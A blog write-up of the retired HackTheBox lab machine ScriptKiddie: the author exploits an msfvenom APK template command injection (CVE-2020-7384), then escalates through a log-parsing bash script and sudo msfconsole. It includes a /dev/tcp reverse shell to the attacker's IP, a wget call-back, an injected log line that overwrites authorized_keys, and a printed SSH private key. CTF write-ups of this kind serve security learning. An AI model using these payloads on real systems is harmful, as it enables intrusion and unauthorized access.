HTB: ScriptKiddie
Posted on 07 Jun 2021 in security • 4 min read
This is a writeup about a retired HacktheBox machine: ScriptKiddie publish on February 6, 2021 by 0xdf. This box is rated as easy box the user part implies to use CVE-2020-7384, the root part is just abusing a bash script and using msfconsole.
User
Recon
Let us start as always by a nmap scan. Only port 22 (SSH) and 5000 with a HTTP
service are open.
# Nmap 7.91 scan initiated Sun Feb 7 08:50:44 2021 as: nmap -p- -sSV -oN nmap 10.129.94.194
Nmap scan report for 10.129.94.194
Host is up (0.011s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 7 08:51:09 2021 -- 1 IP address (1 host up) scanned in 24.16 seconds
Web
The webpage seems to be a "hacker" personal page with a few wrapper around
classical tools as nmap, msfvenom and searchsploit.
The "template file" option with msfvenom is strange. After a few Google research we found
about CVE-2020-7384 which is "msfvenom APK template command injection" and has
a public exploit available
We change the payload to perform a wget on our python server
# Change me
payload = 'wget 10.10.14.64:8000'
We got a hit on our local python HTTP which confirm our RCE.
kali@kali:/tmp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.94.194 - - [07/Feb/2021 09:27:09] "GET / HTTP/1.1" 200 -
We change the payload again for a reverse shell.
payload = 'sh -i >& /dev/tcp/10.10.14.64/4433 0>&1'
We run netcat to catch it and got the user flag.
kali@kali:/tmp$ nc -l -p 4433
id
sh: 0: can't access tty; job control turned off
$ uid=1000(kid) gid=1000(kid) groups=1000(kid)
$ cd
$ cat user.txt
51573bc36ae7c15d3bb11c3b043a5dea
Root
Persistance
We look at our user home folder and get the SSH private key
$ ls -al
total 60
drwxr-xr-x 11 kid kid 4096 Feb 3 11:49 .
drwxr-xr-x 4 root root 4096 Feb 3 07:40 ..
lrwxrwxrwx 1 root kid 9 Jan 5 20:31 .bash_history -> /dev/null
-rw-r--r-- 1 kid kid 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 kid kid 3771 Feb 25 2020 .bashrc
drwxrwxr-x 3 kid kid 4096 Feb 3 07:40 .bundle
drwx------ 2 kid kid 4096 Feb 3 07:40 .cache
drwx------ 4 kid kid 4096 Feb 3 11:49 .gnupg
drwxrwxr-x 3 kid kid 4096 Feb 3 07:40 .local
drwxr-xr-x 9 kid kid 4096 Feb 3 07:40 .msf4
-rw-r--r-- 1 kid kid 807 Feb 25 2020 .profile
drwx------ 2 kid kid 4096 Feb 3 07:40 .ssh
-rw-r--r-- 1 kid kid 0 Jan 5 11:10 .sudo_as_admin_successful
drwxrwxr-x 5 kid kid 4096 Feb 7 14:25 html
drwxrwxrwx 2 kid kid 4096 Feb 3 07:40 logs
drwxr-xr-x 3 kid kid 4096 Feb 3 11:48 snap
-r-------- 1 kid kid 33 Feb 7 13:48 user.txt
$ ls .ssh/
authorized_keys
id_rsa
id_rsa.pub
$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt/
MXWipZH4vmE0lLycTlwk0eFcEQilnSCwpQoLA9QEiFAMvopNThWyjGkst6HNPdDvSDlJEfTtW4PaOFA
seUICcwuidMXc4xepu1t0hrfv5Wn7SiwQwIDwE0DvRRSpLIr9I0wfjjEPnvc4y7uuMvsf0hegZLMnChg
stWWCw99DS5q0YdXxkIC7eKlI90nHyUHL3ULwXDBk6NWhPmJ90yDaFC4iD0yVP3xmjKjl0iotkqbhKhR
AD8bUINZ7anXTw4Hb0iF5tMAttB8JbLts5zvgQtYrciKE4Qnl4F+MO5yg3G03s9V69K4R+TXmI4TZKUH
fEpNnReQ+73uOqgjH5VeZr0TmSLEszfFfXRcv7t4jxOboYnS+lgR1V2iGHzSle+nAlVLHqlwP5RTtwaO
wE0nbykigyz/h4KNCn0rU69fYWSrkcFPYOSm92QKmaMJuXqnycjuqLmHMD2XKSuhlpgD/VmQL34C7pju
4h+/78qK50+itG0FCiSy6IRd5DIfTkU= kid@scriptkiddie
$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEArfzF1oqWR+L5hNJS8nE5cJNHhXBEIpZ0gsKUKCwPUBIhQDL6KTU4
<SNIP>
sOeM4jMTD4DJbb/8Jsh6yzW45V3bgPp1Hm4nI3AZ8SjSI4VqtO9CcDKtPnvh3/jm5VEx9W
bK3NNrAo9t2tlfAAAAEGtpZEBzY3JpcHRraWRkaWUBAg==
-----END OPENSSH PRIVATE KEY-----
scanlosers
We can now directly connect using SSH. Looking at the accessible files we found
that the pwn user has a script scanlosers.sh readable by our user. This
script read a log file containing "hacking" attempts and run a nmap --top10 on
it.
$ ssh kid@10.129.94.194 -i sc_id_rsa
<SNIP>
kid@scriptkiddie:~$ cat ../pwn/scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
We download /home/kid/.ssh/authorized_keys localy and rename it to test a few
payload locally. The cut -d' ' -f3- means that the 3 first "words"
(characters separated by a space) will be dropped.
The idea is to execute a payload in order to add our SSH key to the "pwn"
user. As always we start by a simple wget to ensure the RCE. After a few
attempt we found the following payload that we add to the hackers file:
echo 'q w e 127.0.0.1 127.0.0.1 ; wget 10.10.14.64:8000/a -O /home/pwn/.ssh/authorized_keys ; #' > ../kid/logs/hackers
As the "kid" private key is now also authorized for the "pown" user, we connect using directly SSH.
$ ssh pwn@10.129.94.194 -i sc_id_rsa
<SNIP>
pwn@scriptkiddie:~$ id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
msfconsole
Our "pown" user can run msfconsole as "root" without any password, which
quickly give us a shell using the bash msf command allowing us to get the root
flag.
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole
<SNIP>
msf6 > bash
[*] exec: bash
root@scriptkiddie:/home/pwn# id
uid=0(root) gid=0(root) groups=0(root)
root@scriptkiddie:/home/pwn# cat /root/root.txt
b4ccca123e8efc9cc65296e42ed4cabf
Wrapping up
An easy box exploiting a few mechanisms. The msfvenom exploit was fun to use.